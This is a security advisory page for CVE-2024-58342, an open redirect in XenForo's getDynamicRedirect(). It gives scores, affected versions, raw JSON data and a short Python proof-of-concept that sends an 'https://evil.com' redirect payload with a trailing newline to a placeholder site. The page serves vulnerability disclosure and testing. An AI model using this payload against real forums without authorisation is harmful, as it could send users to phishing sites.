Security Vulnerability Report
中文
CVE-2024-58342 CVSS 6.3 MEDIUM

CVE-2024-58342

Published: 2026-04-01 01:16:39
Last Modified: 2026-04-01 18:54:11

Description

XenForo before 2.2.17 and 2.3.1 allows open redirect via a specially crafted URL. The getDynamicRedirect() function does not adequately validate the redirect target, allowing attackers to redirect users to arbitrary external sites using crafted URLs containing newlines, user credentials, or host mismatches.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:xenforo:xenforo:2.3.0:*:*:*:*:*:*:* - VULNERABLE
XenForo < 2.2.17
XenForo < 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_open_redirect(target_url): # Payload containing newline and external host # Note: The specific parameter name depends on the actual implementation route payload = { "redirect": "https://evil.com\n" } try: response = requests.get(target_url, params=payload, allow_redirects=False, timeout=5) if response.status_code in [301, 302, 307, 308]: location = response.headers.get('Location') if location and "evil.com" in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True print("[-] Not vulnerable or payload invalid.") return False except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://xenforo-target.com/index.php" check_open_redirect(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58342", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:39.100", "lastModified": "2026-04-01T18:54:10.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.2.17 and 2.3.1 allows open redirect via a specially crafted URL. The getDynamicRedirect() function does not adequately validate the redirect target, allowing attackers to redirect users to arbitrary external sites using crafted URLs containing newlines, user credentials, or host mismatches."}, {"lang": "es", "value": "XenForo anterior a 2.2.17 y 2.3.1 permite redirección abierta a través de una URL especialmente diseñada. La función getDynamicRedirect() no valida adecuadamente el objetivo de la redirección, permitiendo a los atacantes redirigir a los usuarios a sitios externos arbitrarios utilizando URLs diseñadas que contienen saltos de línea, credenciales de usuario o discrepancias de host."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.17", "matchCriteriaId": "DFDE450D-DF5A-40E2-BA7E-79B4BDD2EC5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:2.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "358AAB65-82E9-4D1B-B3AA-6ABE7ACFABE2"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-open-redirect-via-getdynamicredirect", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-2-17-released-security-fix.227797/", "source": "[email protected]", "tags": ["Release Notes"]}]}}